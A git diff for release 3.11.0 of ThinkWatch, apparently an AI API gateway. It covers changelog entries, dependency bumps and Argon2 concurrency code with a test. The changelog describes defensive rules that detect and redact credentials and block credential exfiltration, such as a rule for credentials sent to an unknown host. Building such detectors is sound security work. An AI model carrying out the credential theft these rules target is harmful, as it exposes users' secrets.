diff --git a/CHANGELOG.md b/CHANGELOG.md
index cebd2d12..8eb5de1d 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -11,6 +11,168 @@ target.
 
 ## [Unreleased]
 
+## [3.11.0] — 2026-11-03
+
+Execution and buffering now adapt automatically to available CPUs and memory,
+including container limits. CPU work expands with traffic and extra threads
+retire after ten idle seconds; no runtime configuration change is required.
+
+Secrets and privacy recognises far more: the built-in redaction catalog
+grows from 30 rules to 131 in 20 groups, and the API keys saved
+for the providers are recognised by value, whatever their format. The
+console shows the rules' names and descriptions as thinkwatch-core
+writes them, in both languages. A value recognised by mistake can be made
+an exception without switching its rule off, and long conversations are
+no longer scanned from the start every turn. A provider can set the
+slowest generation its streams may keep up, and a stream that falls
+below it is cut so the client can try again. The thinkwatch-core crates
+move from v0.83.1 to v0.89.0.
+
+No new runtime setting. Two new provider columns
+(`providers.min_speed_tokens_per_sec`, `providers.min_speed_window_secs`,
+added on startup). New metrics cover minimum generation speed, buffering
+pressure and audit backlog memory.
+The redaction policy gains one optional field (`exceptions`), with
+endpoints of its own under `/api/admin/security/redact/exceptions`.
+
+### Read before upgrading
+
+- **Buffering is admitted against a process-wide memory budget.** Request,
+  response, cache and retained streaming data use limits derived from the
+  container or machine's memory. Temporary pressure returns a retryable 429
+  with `Retry-After: 1`; an already-started stream receives an error event.
+  Large upstream responses and stream timelines are bounded, and new audit
+  entries are dropped with metrics if the separate audit byte budget fills.
+  See [automatic process resources](docs/operations/resources.md) for the
+  limits and monitoring. These allocation budgets are not a hard RSS cap.
+- **UUIDs and blockchain credentials gain built-in rules.** Core v0.88.0
+  added 11 rules, enabled by default, including UUIDs, wallet keys and
+  accounts, exchange credentials and recovery material. Monitor records
+  findings; installations with protection On replace matching message
+  text. UUIDs, hashes and public accounts do not independently trigger
+  credential-exfiltration blocking. Review any workflows that send order
+  or trace identifiers as message text.
+- **New credential rules ship on.** Under the On state of Secrets and
+  privacy (`security.redact` mode `enforce`), values they find start
+  being replaced with placeholders: among them credentials in request
+  headers, command lines, URLs and bot webhooks, and secrets assigned in
+  `.env`-style configuration (`DB_PASSWORD=…`). Under Monitor, the
+  factory state, they are only recorded. A rule that gets in the way can
+  be switched off on its own in the console.
+- **Some keys are reported under a rule of their own.** `sk-or-v1-`
+  (OpenRouter), `sk-lf-` (Langfuse), `sk-svcacct-`, `sk-admin-` and
+  `sk-api-` keys were reported as `openai-api-key`; they now have their
+  own rule ids, and so do audit events and the
+  `gateway_redaction_found_total` metric's `kind` label, which follows
+  the new groups (`ai-services`, `dev-platforms`, `cloud`, …) instead of
+  `api-keys` and `personal`.
+
+### Added
+
+- **Expanded redaction rules** (thinkwatch-core v0.85.0 and later): about 50 more
+  prefixed credentials (AI services, code hosting, cloud, payments and
+  collaboration), credentials by position (request headers, command
+  lines, URL parameters, bot webhooks, configuration assignments),
+  cryptocurrency recovery phrases and private keys, and personal
+  information: identity documents, foreign ID numbers, IBAN, phone
+  numbers, addresses and coordinates, vehicles, device identifiers and
+  values by field name. Of the new personal-information rules only the
+  two that can be checked digit by digit ship on (passport
+  machine-readable zone, IBAN), alongside the resident ID and bank card
+  numbers as before.
+- **Saved upstream keys are recognised by value.** The API keys in each
+  provider's credential headers (the `Bearer` scheme left out) and a
+  Bedrock provider's secret access key are matched wherever they appear
+  in a request, as written or JSON-escaped; values shorter than 12
+  characters are not. The list follows the providers: it is rebuilt when
+  they load, when one is created, changed or deleted, and on the other
+  instances through the router reload. The same keys count as
+  credentials for the dangerous-commands rule "credential sent to an
+  unknown host", each allowed to its own provider's host, and the
+  console's trial recognises them too.
+- **A saved key's audit event names its provider, never the value.** The
+  `gateway.redaction_*` event of the rule `thinkwatch-saved-secret`
+  carries `sources` (`[{"kind": "upstream-key", "name": <provider>}]`)
+  and no masked values; the security log shows it as the provider's API
+  key.
+
+- **Exception values** (`security.redact.exceptions`, the Exceptions
+  section under the Secrets and privacy rules). A value listed there is
+  neither replaced nor recorded, whichever rule finds it; the rules keep
+  working for every other value. A value is added by pasting it: the
+  server hashes it on arrival and keeps only its SHA-256, its masked form,
+  the rule that recognised it and when it was added, never the value. At
+  most 500; at the cap, adding is unavailable. Saved provider keys cannot
+  be exceptions. Listing them takes `settings:read`; adding and removing
+  take `settings:write` and `pii_redactor:write`, and each is written to
+  the audit log (`security.redact_exception_added`,
+  `security.redact_exception_removed`) with the rule and the masked value
+  only. The trial marks an excepted value as left as is.
+- **Unchanged conversation history is not scanned again.** Each gateway
+  instance keeps, in memory, where the redaction rules matched in the
+  parts of recent requests it has scanned (positions and rule ids, never
+  values); the next turn of the same conversation takes those parts from
+  it and scans only what is new. What is found is the same as without it.
+  The cache is rebuilt whenever the rules, the providers' keys or the
+  exceptions change.
+- **Stop a stream that generates too slowly** (the provider's
+  "Stop when generation is slower than … tokens/s for … s" setting,
+  `min_speed_tokens_per_sec` 1–1000 and `min_speed_window_secs` 5–120,
+  default 20, on the provider endpoints; blank or `null` is off, the
+  default). From the first token on, a stream is judged once a second:
+  when the visible text it streamed over the last window (answer,
+  reasoning streamed as generated, and tool arguments; four ASCII
+  characters or one other character to a token) comes to fewer tokens
+  per second than the minimum, the stream ends with a 503 error in the
+  client's format (`overloaded_error` for Anthropic, `response.failed`
+  for Responses, `UNAVAILABLE` for Gemini), the upstream connection is
+  closed, and the route is charged a failure. Left out of the window:
+  pauses of a quarter of the window or more (at most 5 s), and
+  summarised reasoning (Responses reasoning summaries, Anthropic thinking
+  blocks, Gemini thought parts, Bedrock reasoning content), which arrives
+  in bursts while the model reasons; a window more than half left out is
+  not judged. Nor is a second while summarised reasoning is open, one
+  whose last content is more than a second old, or anything after the
+  upstream has ended the answer. Counts the upstream reports are not
+  used: Gemini's includes its hidden thoughts. The session's affinity to
+  that route is dropped, the answer so far is billed as for any stream
+  cut short, and the log row carries the error `UpstreamTooSlow` and the
+  speed at the cut (`tokens_per_sec`). Whole answers and Responses
+  WebSocket turns are not measured.
+
+### Changed
+
+- **CPU execution grows with load.** The permanent I/O scheduler uses at
+  most eight workers by default. Parsing, redaction, inspection and
+  conversion share CPU admission with password hashing; sufficiently
+  provisioned 80-CPU machines can run 80 CPU jobs. Extra threads retire
+  after ten idle seconds. Argon2 also observes a memory-based concurrency
+  limit, retained until a running hash finishes even if its caller leaves.
+- **Buffers and audit retries retain admission until their final owner
+  releases them.** Chunked AI/MCP responses, cache reads, transformed
+  output and detached stream tails use the same buffering budget. MCP
+  discovery, provider/registry catalogs, OAuth endpoints, S3 reads and
+  audit-forwarder diagnostics also use bounded reads. Local pressure does
+  not count as an upstream failure. Audit queue and ClickHouse retry
+  batches share a separate byte limit and expose buffered-memory and
+  dropped-entry pressure through metrics.
+- **Release binaries use mimalloc.** Linux also applies a process-local
+  transparent-huge-page policy before runtime threads start. Host sysctls
+  and deployment resource settings need no changes.
+- **A redaction policy written through `PATCH /api/admin/settings` keeps
+  the stored exceptions**, whatever it carries: they are changed only
+  through their own endpoints, and the console writes the rest of the
+  policy back from the rule view, which does not carry them.
+- **Rule names and descriptions come from thinkwatch-core.** The security
+  page shows each built-in rule's name, reason and description and each
+  group's name as the rule view gives them, in English or Chinese; the
+  console no longer keeps its own name tables. Security-log rows and
+  trial hits name the rule by looking its id up in the rule view. The
+  rule search also matches prefixes, field names and descriptions.
+- **The conversion of the old PII pattern list** switches on or off only
+  the four personal-information rules that list could express; the new
+  personal-information rules keep their factory setting.
+
 ## [3.10.0] — 2026-10-25
 
 Upstreams that fail for the moment before any of the answer reached the
@@ -2694,7 +2856,8 @@ unreleased builds should: stop the gateway, run `db/schema.sql`
 against PostgreSQL, restart against this tag. The schema is
 idempotent end-to-end, so the apply is safe to repeat.
 
-[Unreleased]: https://github.com/ThinkWatchProject/ThinkWatch/compare/v3.10.0...HEAD
+[Unreleased]: https://github.com/ThinkWatchProject/ThinkWatch/compare/v3.11.0...HEAD
+[3.11.0]: https://github.com/ThinkWatchProject/ThinkWatch/releases/tag/v3.11.0
 [3.10.0]: https://github.com/ThinkWatchProject/ThinkWatch/releases/tag/v3.10.0
 [3.9.1]: https://github.com/ThinkWatchProject/ThinkWatch/releases/tag/v3.9.1
 [3.9.0]: https://github.com/ThinkWatchProject/ThinkWatch/releases/tag/v3.9.0
diff --git a/Cargo.lock b/Cargo.lock
index 12d5252b..fcd752a6 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -443,6 +443,12 @@ version = "1.8.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "2af50177e190e07a26ab74f8b1efbfe2ef87da2116221318cb1c2e82baf7de06"
 
+[[package]]
+name = "bech32"
+version = "0.9.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d86b93f97252c47b41663388e6d155714a9d0c398b99f1005cbc5f978b29f445"
+
 [[package]]
 name = "bitflags"
 version = "1.3.2"
@@ -610,7 +616,7 @@ dependencies = [
  "num-traits",
  "serde",
  "wasm-bindgen",
- "windows-link",
+ "windows-link 0.2.1",
 ]
 
 [[package]]
@@ -1335,6 +1341,12 @@ dependencies = [
  "smallvec",
 ]
 
+[[package]]
+name = "fastrand"
+version = "2.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223"
+
 [[package]]
 name = "ff"
 version = "0.13.1"
@@ -1575,8 +1587,8 @@ dependencies = [
  "libc",
  "log",
  "rustversion",
- "windows-link",
- "windows-result",
+ "windows-link 0.1.3",
+ "windows-result 0.3.4",
 ]
 
 [[package]]
@@ -1919,7 +1931,7 @@ dependencies = [
  "js-sys",
  "log",
  "wasm-bindgen",
- "windows-core",
+ "windows-core 0.62.2",
 ]
 
 [[package]]
@@ -2108,7 +2120,7 @@ dependencies = [
  "portable-atomic",
  "portable-atomic-util",
  "serde_core",
- "windows-link",
+ "windows-link 0.2.1",
 ]
 
 [[package]]
@@ -2162,7 +2174,7 @@ dependencies = [
  "simd_cesu8",
  "thiserror 2.0.21",
  "walkdir",
- "windows-link",
+ "windows-link 0.2.1",
 ]
 
 [[package]]
@@ -2274,6 +2286,15 @@ version = "0.2.16"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "b6d2cec3eae94f9f509c767b45932f1ada8350c4bdb85af2fcab4a3c14807981"
 
+[[package]]
+name = "libmimalloc-sys"
+version = "0.1.49"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6a45a52f43e1c16f667ccfe4dd8c85b7f7c204fd5e3bf46c5b0db9a5c3c0b8e9"
+dependencies = [
+ "cc",
+]
+
 [[package]]
 name = "libsqlite3-sys"
 version = "0.30.1"
@@ -2284,6 +2305,12 @@ dependencies = [
  "vcpkg",
 ]
 
+[[package]]
+name = "linux-raw-sys"
+version = "0.12.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53"
+
 [[package]]
 name = "litemap"
 version = "0.8.3"
@@ -2409,6 +2436,15 @@ dependencies = [
  "sketches-ddsketch",
 ]
 
+[[package]]
+name = "mimalloc"
+version = "0.1.52"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2d4139bb28d14ad1facf21d5eb8825051b326e172d216b39f6d31df53cc97862"
+dependencies = [
+ "libmimalloc-sys",
+]
+
 [[package]]
 name = "mime"
 version = "0.3.17"
@@ -2468,6 +2504,15 @@ dependencies = [
  "minimal-lexical",
 ]
 
+[[package]]
+name = "ntapi"
+version = "0.4.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c3b335231dfd352ffb0f8017f3b6027a4917f7df785ea2143d8af2adc66980ae"
+dependencies = [
+ "winapi",
+]
+
 [[package]]
 name = "nu-ansi-term"
 version = "0.50.3"
@@ -2568,6 +2613,25 @@ dependencies = [
  "url",
 ]
 
+[[package]]
+name = "objc2-core-foundation"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2a180dd8642fa45cdb7dd721cd4c11b1cadd4929ce112ebd8b9f5803cc79d536"
+dependencies = [
+ "bitflags 2.13.2",
+]
+
+[[package]]
+name = "objc2-io-kit"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "33fafba39597d6dc1fb709123dfa8289d39406734be322956a69f0931c73bb15"
+dependencies = [
+ "libc",
+ "objc2-core-foundation",
+]
+
 [[package]]
 name = "once_cell"
 version = "1.21.4"
@@ -2689,7 +2753,7 @@ dependencies = [
  "libc",
  "redox_syscall",
  "smallvec",
- "windows-link",
+ "windows-link 0.2.1",
 ]
 
 [[package]]
@@ -2944,7 +3008,7 @@ dependencies = [
  "quinn-udp",
  "rustc-hash",
  "rustls",
- "socket2 0.6.5",
+ "socket2 0.5.10",
  "thiserror 2.0.21",
  "tokio",
  "tracing",
@@ -2983,7 +3047,7 @@ dependencies = [
  "cfg_aliases",
  "libc",
  "once_cell",
- "socket2 0.6.5",
+ "socket2 0.5.10",
  "tracing",
  "windows-sys 0.61.2",
 ]
@@ -3362,6 +3426,19 @@ dependencies = [
  "semver",
 ]
 
+[[package]]
+name = "rustix"
+version = "1.1.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e5e76742e5294153d4dde1207dbec5bdd81eef6fabdc0d2118babadabfd858aa"
+dependencies = [
+ "bitflags 2.13.2",
+ "errno",
+ "libc",
+ "linux-raw-sys",
+ "windows-sys 0.61.2",
+]
+
 [[package]]
 name = "rustls"
 version = "0.23.46"
@@ -4166,6 +4243,20 @@ dependencies = [
  "syn 3.0.6",
 ]
 
+[[package]]
+name = "sysinfo"
+version = "0.36.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "252800745060e7b9ffb7b2badbd8b31cfa4aa2e61af879d0a3bf2a317c20217d"
+dependencies = [
+ "libc",
+ "memchr",
+ "ntapi",
+ "objc2-core-foundation",
+ "objc2-io-kit",
+ "windows",
+]
+
 [[package]]
 name = "system-configuration"
 version = "0.7.0"
@@ -4187,9 +4278,22 @@ dependencies = [
  "libc",
 ]
 
+[[package]]
+name = "tempfile"
+version = "3.27.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd"
+dependencies = [
+ "fastrand",
+ "getrandom 0.3.4",
+ "once_cell",
+ "rustix",
+ "windows-sys 0.61.2",
+]
+
 [[package]]
 name = "think-watch-auth"
-version = "3.10.0"
+version = "3.11.0"
 dependencies = [
  "anyhow",
  "argon2",
@@ -4219,10 +4323,11 @@ dependencies = [
 
 [[package]]
 name = "think-watch-common"
-version = "3.10.0"
+version = "3.11.0"
 dependencies = [
  "aes-gcm",
  "anyhow",
+ "async-stream",
  "async-trait",
  "aws-credential-types",
  "aws-sigv4",
@@ -4236,6 +4341,8 @@ dependencies = [
  "hex",
  "hmac 0.13.0",
  "http",
+ "http-body",
+ "http-body-util",
  "hyper-util",
  "metrics",
  "rand 0.10.3",
@@ -4248,8 +4355,11 @@ dependencies = [
  "sha1 0.11.0",
  "sha2 0.11.0",
  "sqlx",
+ "sysinfo",
+ "tempfile",
  "thiserror 2.0.21",
  "tokio",
+ "tower",
  "tracing",
  "tw-bedrock",
  "tw-breaker",
@@ -4262,7 +4372,7 @@ dependencies = [
 
 [[package]]
 name = "think-watch-gateway"
-version = "3.10.0"
+version = "3.11.0"
 dependencies = [
  "anyhow",
  "arc-swap",
@@ -4301,7 +4411,7 @@ dependencies = [
 
 [[package]]
 name = "think-watch-mcp-gateway"
-version = "3.10.0"
+version = "3.11.0"
 dependencies = [
  "anyhow",
  "arc-swap",
@@ -4330,7 +4440,7 @@ dependencies = [
 
 [[package]]
 name = "think-watch-server"
-version = "3.10.0"
+version = "3.11.0"
 dependencies = [
  "anyhow",
  "arc-swap",
@@ -4344,8 +4454,10 @@ dependencies = [
  "futures",
  "hex",
  "hmac 0.13.0",
+ "libc",
  "metrics",
  "metrics-exporter-prometheus",
+ "mimalloc",
  "openidconnect",
  "p256 0.14.0",
  "rand 0.10.3",
@@ -4381,7 +4493,7 @@ dependencies = [
 
 [[package]]
 name = "think-watch-test-support"
-version = "3.10.0"
+version = "3.11.0"
 dependencies = [
  "anyhow",
  "async-stream",
@@ -4418,6 +4530,7 @@ dependencies = [
  "tower-http 0.7.1",
  "tracing",
  "tracing-subscriber",
+ "tw-guard",
  "url",
  "uuid",
  "wiremock",
@@ -4837,8 +4950,8 @@ dependencies = [
 
 [[package]]
 name = "tw-bedrock"
-version = "0.83.1"
-source = "git+https://github.com/ThinkWatchProject/ThinkWatch-Core.git?tag=v0.83.1#0a34ac1ad9d1a6691cb98e38b3a9b7e4a1803bb9"
+version = "0.89.0"
+source = "git+https://github.com/ThinkWatchProject/ThinkWatch-Core.git?tag=v0.89.0#c66a3b04ba297f608f2fc21501c73f21a78ab8ed"
 dependencies = [
  "aws-credential-types",
  "aws-sigv4",
@@ -4852,16 +4965,16 @@ dependencies = [
 
 [[package]]
 name = "tw-breaker"
-version = "0.83.1"
-source = "git+https://github.com/ThinkWatchProject/ThinkWatch-Core.git?tag=v0.83.1#0a34ac1ad9d1a6691cb98e38b3a9b7e4a1803bb9"
+version = "0.89.0"
+source = "git+https://github.com/ThinkWatchProject/ThinkWatch-Core.git?tag=v0.89.0#c66a3b04ba297f608f2fc21501c73f21a78ab8ed"
 dependencies = [
  "serde",
 ]
 
 [[package]]
 name = "tw-dialect"
-version = "0.83.1"
-source = "git+https://github.com/ThinkWatchProject/ThinkWatch-Core.git?tag=v0.83.1#0a34ac1ad9d1a6691cb98e38b3a9b7e4a1803bb9"
+version = "0.89.0"
+source = "git+https://github.com/ThinkWatchProject/ThinkWatch-Core.git?tag=v0.89.0#c66a3b04ba297f608f2fc21501c73f21a78ab8ed"
 dependencies = [
  "memchr",
  "serde",
@@ -4870,18 +4983,21 @@ dependencies = [
 
 [[package]]
 name = "tw-guard"
-version = "0.83.1"
-source = "git+https://github.com/ThinkWatchProject/ThinkWatch-Core.git?tag=v0.83.1#0a34ac1ad9d1a6691cb98e38b3a9b7e4a1803bb9"
+version = "0.89.0"
+source = "git+https://github.com/ThinkWatchProject/ThinkWatch-Core.git?tag=v0.89.0#c66a3b04ba297f608f2fc21501c73f21a78ab8ed"
 dependencies = [
  "aho-corasick",
  "base64 0.22.1",
+ "bech32",
  "bytes",
+ "curve25519-dalek",
  "memchr",
  "regex",
  "regex-syntax",
  "serde",
  "serde_json",
  "serde_yaml_ng",
+ "sha2 0.11.0",
  "thiserror 2.0.21",
  "tw-dialect",
 ]
@@ -5236,6 +5352,41 @@ version = "0.4.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
 
+[[package]]
+name = "windows"
+version = "0.61.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9babd3a767a4c1aef6900409f85f5d53ce2544ccdfaa86dad48c91782c6d6893"
+dependencies = [
+ "windows-collections",
+ "windows-core 0.61.2",
+ "windows-future",
+ "windows-link 0.1.3",
+ "windows-numerics",
+]
+
+[[package]]
+name = "windows-collections"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3beeceb5e5cfd9eb1d76b381630e82c4241ccd0d27f1a39ed41b2760b255c5e8"
+dependencies = [
+ "windows-core 0.61.2",
+]
+
+[[package]]
+name = "windows-core"
+version = "0.61.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c0fdd3ddb90610c7638aa2b3a3ab2904fb9e5cdbecc643ddb3647212781c4ae3"
+dependencies = [
+ "windows-implement",
+ "windows-interface",
+ "windows-link 0.1.3",
+ "windows-result 0.3.4",
+ "windows-strings 0.4.2",
+]
+
 [[package]]
 name = "windows-core"
 version = "0.62.2"
@@ -5244,9 +5395,20 @@ checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb"
 dependencies = [
  "windows-implement",
  "windows-interface",
- "windows-link",
- "windows-result",
- "windows-strings",
+ "windows-link 0.2.1",
+ "windows-result 0.4.1",
+ "windows-strings 0.5.1",
+]
+
+[[package]]
+name = "windows-future"
+version = "0.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fc6a41e98427b19fe4b73c550f060b59fa592d7d686537eebf9385621bfbad8e"
+dependencies = [
+ "windows-core 0.61.2",
+ "windows-link 0.1.3",
+ "windows-threading",
 ]
 
 [[package]]
@@ -5271,21 +5433,46 @@ dependencies = [
  "syn 2.0.119",
 ]
 
+[[package]]
+name = "windows-link"
+version = "0.1.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a"
+
 [[package]]
 name = "windows-link"
 version = "0.2.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
 
+[[package]]
+name = "windows-numerics"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9150af68066c4c5c07ddc0ce30421554771e528bde427614c61038bc2c92c2b1"
+dependencies = [
+ "windows-core 0.61.2",
+ "windows-link 0.1.3",
+]
+
 [[package]]
 name = "windows-registry"
 version = "0.6.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "02752bf7fbdcce7f2a27a742f798510f3e5ad88dbe84871e5168e2120c3d5720"
 dependencies = [
- "windows-link",
- "windows-result",
- "windows-strings",
+ "windows-link 0.2.1",
+ "windows-result 0.4.1",
+ "windows-strings 0.5.1",
+]
+
+[[package]]
+name = "windows-result"
+version = "0.3.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "56f42bd332cc6c8eac5af113fc0c1fd6a8fd2aa08a0119358686e5160d0586c6"
+dependencies = [
+ "windows-link 0.1.3",
 ]
 
 [[package]]
@@ -5294,7 +5481,16 @@ version = "0.4.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5"
 dependencies = [
- "windows-link",
+ "windows-link 0.2.1",
+]
+
+[[package]]
+name = "windows-strings"
+version = "0.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "56e6c93f3a0c3b36176cb1327a4958a0353d5d166c2a35cb268ace15e91d3b57"
+dependencies = [
+ "windows-link 0.1.3",
 ]
 
 [[package]]
@@ -5303,7 +5499,7 @@ version = "0.5.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091"
 dependencies = [
- "windows-link",
+ "windows-link 0.2.1",
 ]
 
 [[package]]
@@ -5321,7 +5517,7 @@ version = "0.61.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
 dependencies = [
- "windows-link",
+ "windows-link 0.2.1",
 ]
 
 [[package]]
@@ -5340,6 +5536,15 @@ dependencies = [
  "windows_x86_64_msvc",
 ]
 
+[[package]]
+name = "windows-threading"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b66463ad2e0ea3bbf808b7f1d371311c80e115c0b71d60efc142cafbcfb057a6"
+dependencies = [
+ "windows-link 0.1.3",
+]
+
 [[package]]
 name = "windows_aarch64_gnullvm"
 version = "0.52.6"
diff --git a/Cargo.toml b/Cargo.toml
index ea2d34fc..4b64cd1f 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -10,7 +10,7 @@ members = [
 ]
 
 [workspace.package]
-version = "3.10.0"
+version = "3.11.0"
 edition = "2024"
 # The MSRV: the newest `rust-version` among the locked dependencies
 # (sqlx 0.9 and the aws-smithy crates under aws-sigv4). Without it,
@@ -70,10 +70,10 @@ opt-level = 3
 # never re-exported through a local shim. And the reverse: something only
 # this side uses (the at-rest crypto, IMDSv2 credentials, the gateway error)
 # lives here, not in core.
-tw-bedrock = { git = "https://github.com/ThinkWatchProject/ThinkWatch-Core.git", tag = "v0.83.1" }
-tw-breaker = { git = "https://github.com/ThinkWatchProject/ThinkWatch-Core.git", tag = "v0.83.1" }
-tw-dialect = { git = "https://github.com/ThinkWatchProject/ThinkWatch-Core.git", tag = "v0.83.1" }
-tw-guard = { git = "https://github.com/ThinkWatchProject/ThinkWatch-Core.git", tag = "v0.83.1" }
+tw-bedrock = { git = "https://github.com/ThinkWatchProject/ThinkWatch-Core.git", tag = "v0.89.0" }
+tw-breaker = { git = "https://github.com/ThinkWatchProject/ThinkWatch-Core.git", tag = "v0.89.0" }
+tw-dialect = { git = "https://github.com/ThinkWatchProject/ThinkWatch-Core.git", tag = "v0.89.0" }
+tw-guard = { git = "https://github.com/ThinkWatchProject/ThinkWatch-Core.git", tag = "v0.89.0" }
 
 # Web framework
 axum = { version = "0.8", features = ["macros", "ws"] }
diff --git a/crates/auth/src/oauth/client.rs b/crates/auth/src/oauth/client.rs
index d4f62426..553914c7 100644
--- a/crates/auth/src/oauth/client.rs
+++ b/crates/auth/src/oauth/client.rs
@@ -98,7 +98,15 @@ pub async fn exchange_authorization_code(
         .map_err(TokenExchangeError::Unreachable)?;
 
     let status = resp.status();
-    let resp_text = resp.text().await.map_err(TokenExchangeError::Unreachable)?;
+    let bytes = think_watch_common::resources::read_response(resp, 64 * 1024)
+        .await
+        .map_err(|e| match e {
+            think_watch_common::resources::ReadError::Transport(e) => {
+                TokenExchangeError::Unreachable(e)
+            }
+            other => TokenExchangeError::InvalidResponse(other.to_string()),
+        })?;
+    let resp_text = String::from_utf8_lossy(&bytes);
 
     // Two cases land here:
     //   * non-2xx status (always treated as failure)
diff --git a/crates/auth/src/password.rs b/crates/auth/src/password.rs
index 4a2c3dae..4cb9446c 100644
--- a/crates/auth/src/password.rs
+++ b/crates/auth/src/password.rs
@@ -1,10 +1,7 @@
-use std::sync::{Arc, LazyLock};
-
 use argon2::{
     Argon2,
     password_hash::{PasswordHasher, PasswordVerifier, phc::PasswordHash},
 };
-use tokio::sync::Semaphore;
 
 const RANDOM_PASSWORD_LEN: usize = 16;
 const CHARSET: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%&*";
@@ -60,24 +57,13 @@ pub fn verify_password_or_dummy(password: &str, hash: Option<&str>) -> bool {
 // every other request scheduled on that thread, so the handlers use
 // these versions, which run it on the blocking pool.
 
-/// How many Argon2 runs go at once: one per CPU, as many as the async
-/// workers allowed when they ran it. Each run holds 19 MiB (`m=19456`)
-/// while it lasts and the blocking pool grows to hundreds of threads, so
-/// without this a burst of logins would hold gigabytes at once.
-static ARGON2_PERMITS: LazyLock<Arc<Semaphore>> = LazyLock::new(|| {
-    Arc::new(Semaphore::new(
-        std::thread::available_parallelism().map_or(1, |n| n.get()),
-    ))
-});
-
-/// `f` on the blocking pool once an [`ARGON2_PERMITS`] place is free. The
-/// task keeps the place until it ends, even when the caller has gone.
+/// Share CPU admission with the data plane and limit Argon2 memory using
+/// the container allowance. The running task owns both places even when
+/// its caller is cancelled.
 async fn on_blocking_pool<T: Send + 'static>(
     f: impl FnOnce() -> T + Send + 'static,
 ) -> Result<T, tokio::task::JoinError> {
-    // Never closed, so the acquire cannot fail; the permit inside the
-    // result is held all the same.
-    let permit = Arc::clone(&ARGON2_PERMITS).acquire_owned().await;
+    let permit = think_watch_common::resources::password_slot().await;
     tokio::task::spawn_blocking(move || {
         let _permit = permit;
         f()
@@ -111,6 +97,48 @@ pub async fn verify_password_or_dummy_off_runtime(password: String, hash: Option
 mod tests {
     use super::*;
 
+    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+    async fn cancelling_callers_does_not_admit_more_running_password_jobs() {
+        use std::time::Duration;
+        let policy = think_watch_common::resources::policy();
+        let jobs = policy.argon_jobs.min(policy.cpu_jobs);
+        let (started, mut beginnings) = tokio::sync::mpsc::unbounded_channel();
+        let mut release = Vec::new();
+        let mut callers = Vec::new();
+        for _ in 0..jobs {
+            let (tx, rx) = std::sync::mpsc::channel::<()>();
+            release.push(tx);
+            let started = started.clone();
+            callers.push(tokio::spawn(on_blocking_pool(move || {
+                started.send(()).unwrap();
+                let _ = rx.recv_timeout(Duration::from_secs(10));
+            })));
+        }
+        for _ in 0..jobs {
+            tokio::time::timeout(Duration::from_secs(5), beginnings.recv())
+                .await
+                .unwrap()
+                .unwrap();
+        }
+        for caller in callers {
+            caller.abort();
+            assert!(caller.await.unwrap_err().is_cancelled());
+        }
+        let next = tokio::spawn(on_blocking_pool(move || started.send(()).unwrap()));
+        assert!(
+            tokio::time::timeout(Duration::from_millis(50), beginnings.recv())
+                .await
+                .is_err()
+        );
+        drop(release);
+        tokio::time::timeout(Duration::from_secs(5), next)
+            .await
+            .unwrap()
+            .unwrap()
+            .unwrap();
+        assert_eq!(beginnings.recv().await, Some(()));
+    }
+
     #[tokio::test]
     async fn the_off_runtime_versions_agree_with_the_blocking_ones() {
         let hash = hash_password_off_runtime("pw".into()).await.unwrap();
@@ -133,7 +161,9 @@ mod tests {
         use std::sync::atomic::{AtomicUsize, Ordering};
         static RUNNING: AtomicUsize = AtomicUsize::new(0);
         static PEAK: AtomicUsize = AtomicUsize::new(0);
-        let permits = std::thread::available_parallelism().map_or(1, |n| n.get());
+        let permits = think_watch_common::resources::policy()
+            .argon_jobs
+            .min(think_watch_common::resources::policy().cpu_jobs);
